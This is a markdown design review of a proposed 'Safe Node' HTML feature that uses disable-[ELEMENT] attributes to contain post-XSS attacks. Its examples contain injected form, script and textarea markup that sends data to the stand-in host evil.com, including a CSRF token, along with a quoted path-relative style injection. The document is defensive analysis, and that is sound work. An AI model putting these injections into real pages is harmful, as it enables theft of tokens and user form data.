Safe Node Review.md

Summary

Review of postxss in repect to Strawman proposal for a "Safe Node" in the DOM. I suggest a less complicated syntax, using a/series of disable-[ELEMENT] (e.g. disable-form and/or disable-script) atrributes of current/custom elements.

Example:

<div disable-form disable-script disable-link id="user-gen-content">
  <form action="http://evil.com/log.cgi">
  <script src="http://evil.com/log.js"></script>
  <link rel="alternate" type="application/atom+xml" href="http://example.com/phpBB3/search.php/
{}*{color:red;}//styles/prosilver/theme/feed.php" /> <!-- http://blog.portswigger.net/2015/02/prssi.html -->
</div>

Notes

on event tags

On event attributes <button onclick="alert('hello')"> would be blocked via disable-script.

styles

Should disable-styles include <style> and <link rel="stylesheet" or should disable-links be required?

Blocking of network

There would be no pervision for explicitly blocking netowrk acsses or limiting it to a defined set of URLs. To block network then disable-script disable-style disable--img disable-link would be required (and potentially more).

Wildcards

Should disable-* be allowed and enable-[ELEMENT] be included?

Post XSS

2.1 Dangling markup injection

This feels like a code bug that any additinal features will paper over rather than root cause fix

2.2 <textarea>-based consumption

<div disable-form>
<form action='http://evil.com/log.cgi'><textarea>           ← Injected line
</div>
...
<input type="hidden" name="xsrf_token" value="12345">
...
(EOF)

##2.3. Rerouting of existing forms

<div disable-form>
<form action='http://evil.com/log.cgi'>                     ← Injected line
</div>
...
<form action='update_profile.php'>                          ← Legitimate, pre-existing form
...
<input type="text" name="real_name" value="John Q. Public">
...
</form>

2.4. Use of to hijack relative URLs

<div disable-base>[input]</div>

2.5. Form injection to intercept browser-managed passwords

I think this should be managed by the browsers and not by publishers and new syntax/features.

2.6. Addendum: The limits of exfiltration defenses

<div disable-form>[input]</div>

3.1. Interference with existing scripts

<div disable-script>[input]</div>

3.1.1. HTML namespace attacks

This would not explicitly protect this however. If the syntax was extended to be disable-attrib-[ATTRIBUTE] eg. disable-attrib-checked or disable-attrib-id it could be prevented. However this feels more like whack-a-mole.

3.1.3. Script load order issues (CSP-specific)

<div disable-script>[input]</div>

3.1.4. Abuse of JSONP (CSP-specific)

<div disable-script>[input]</div>

3.2. Form parameter injection

<div disable-form>[input]</div>

3.3. UI-level attacks

This would be a bit whack-a-mole as this design would not change CSS rules appiled to the element as so any content would look like the publisher. I would seggest the use of <div class="user-gen-content" disable-style disable-link>[input]</div> and apply a differing style to the block.